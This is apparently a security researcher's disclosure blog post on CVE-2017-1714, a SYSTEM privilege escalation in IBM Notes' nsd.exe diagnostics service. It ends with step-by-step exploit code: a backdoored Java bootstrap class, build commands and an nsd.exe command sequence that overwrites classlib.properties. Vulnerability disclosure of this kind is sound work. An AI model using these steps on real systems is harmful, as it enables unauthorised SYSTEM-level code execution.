This is the first blog post in a series documenting various bugs found in installed software during customer engagements. Vulnerabilities will be published, when the vendor has provided fixes, or our deadline for the vendor to take action expires. This process is aligned with the Improsec Responsible Disclosure Policy.
In these blog posts I will be a bit verbose and give insights into the process. Concrete exploitation steps and code is listed at the bottom.
CVE-ID:CVE-2017-1714
IBM Bulletins:
- Security Bulletin: IBM Client Application Access NSD Privilege Escalation
- Security Bulletin: IBM Notes NSD Privilege Escalation
When we at Improsec are doing Windows system security reviews for customers, we always run Powerup to look for the most basic privilege escalation vulnerabilities. During a recent review, Powerup reported on the combination of a service running as the system taking a user-writable file as a command line argument.
As this looked like a classic misconfiguration that could lead to privilege escalation, I set up Procmon to capture events during boot, and restarted the laptop. To my surprise, the user-writable file was not accessed a single time during startup of the process. Disappointing, but still, the service looked interesting enough to warrant an extra look.
As the name “IBM Notes Diagnostics” (formerly “Notes Debugging Service”) implies, the service helps users create crash dumps of stalled or failing Notes processes. Not exactly a sign of complete confidence in the code quality of the product… The service is installed by default on both the IBM Notes client installations, but also on installations of the server product IBM Domino.
To get a better understanding of the service, I tried to run the executable from the command line to see if any output regarding its functionality is given. Running nsd.exe as a regular user, without any arguments, started a long output of data.
One line in the output stood out to me:
Apparently, the same binary is used as both the service executable, and as a command line tool to trigger and control the service.
A SYSTEM process with this kind of functionality being controlled by an unprivileged user made me look for “features” before looking for actual vulnerabilities. If a piece of software allows you to violate a security boundary by using legitimate features, there’s no need to go looking for programming errors.
Running the command with -help started a browser with some interesting documentation, including the option of running in “monitor” mode. When in monitor mode some commands could be used to control the service. One of these was called LOAD and looked very promising.
Googling this command lead me to a blog post describing a since fixed vulnerability in exactly this functionality. But the obviousness of that vulnerability led me to think that it was just the tip of the iceberg, so I kept looking.
Further examination of the documentation disclosed a “-logfile” argument. I attempted to supply a logfile path in “c:” with “-logfile c:test.log”. A regular user should not have permissions to write files to the root of “C:”, but this didn’t stop the log file from being created there.
Based on this, we can guess that the logfile is written by the SYSTEM process and not the process started by our unprivileged user. This should allow us to overwrite almost any file, an obvious vulnerability.
To exploit this vulnerability we need an interesting location to write, like a script or a configuration file, which is parsed tolerantly and used by a SYSTEM process. The log files that nsd.exe writes are very verbose, but the documentation points us towards both some switches to tone it down, and looking through the documentation, I found that using the “-cmdfile” option with a file containing ECHO commands looked like what we needed to inject our own input into the logfile.
After looking around for a generic Windows file to overwrite (please let me know in the comments, if you have the perfect candidate), I turned my focus to the service itself. Running Procmon with some filters like “path ending in .conf”, provided me with some candidates. After a few tests I settled on “classlib.properties”, which is being read by a java.exe process started by the SYSTEM nsd.exe process, to determine the version of java installed with Notes.
Apparently, this file contains the path of the jar files needed for the bootstrap process when java.exe runs. By supplying a malicious jar, we should be able to get code execution in SYSTEM context.
My first attempt at compiling a malicious jar and adding it to the list of jars in the “classlib.properties” file, showed me that the java process read my file but did not execute the contained java code. Running java.exe with the option “-verbose class” showed me a long list of the actual classes loaded during the bootstrap process, and my class was not listed.
I needed to inject a class in this loading hierarchy, but I also needed to inject my code in a class where I am sure any prerequisite classes were already loaded. I settled on “JavaUtilJarAccessImpl”, downloaded the source, added a payload and recompiled. I did not remove the original code, as I didn’t want to disturb the correct flow of the class loading process. The resulting jar file just needed to be placed in a directory writable by the unprivileged user, and referenced in the “classlib.properties” file.
So to exploit this vulnerability you will need to run nsd.exe two times, the first time overwriting the “classlib.properties” file, and the second time to trigger java.exe into loading our malicious jar.
As the version of java shipped with IBM Notes varies over versions, some modifications to the exploitation steps are needed if using an older version than 9.01 Fix Pack 9.
Recommendations
Apply the patch/fix provided by IBM in the related Security Bulletin (see above) and/or disable the "IBM Notes Diagnostics" service.
TL;DR
Exploitation:
Create a rt.jar file with the following steps:
1. Add the following to the code for the JavaUtilJarAccessImpl class in the JDK 1.8 source code. This could be any class that is loaded during the java bootstrap process.
#Add under imports
import java.lang.Runtime;
#Add to class
static {
try {
Process process = Runtime.getRuntime().exec("cmd.exe /c whoami > c:\whoami.txt");
} catch (Exception ex) {}
}
2. Compile it
javac -target 1.8 java/util/jar/JavaUtilJarAccessImpl.java
3. Create jar file
jar cf rt.jar java/util/jar/JavaUtilJarAccessImpl.class
On the client system to be tested:
4. Run the notes client at least once as the user
5. Run the following commands:
mkdir c:test
cp rt.jar c:test
cd "%USERPROFILE%AppDataLocalIBMNotesData"
echo @postinit ECHO bootpath=..........testrt.jar:math.jar:ibmorb.jar:ibmorbapi.jar:ibmcfw.jar:ibmpkcs.jar:ibmcertpathfw.jar:ibmjgssfw.jar:ibmjssefw.jar:ibmsaslfw.jar:ibmjcefw.jar:rt.jar:dataaccess.jar > cmds
echo @postinit ECHO shape=sun >> cmds
echo @postinit ECHO version=1.8 >> cmds
"C:Program Files (x86)IBMNotesnsd.exe" -log "C:Program Files (x86)IBMNotesjvmlibclasslib.properties" -cmdfile cmds
"C:Program Files (x86)IBMNotesnsd.exe"
echo c:whoami.txt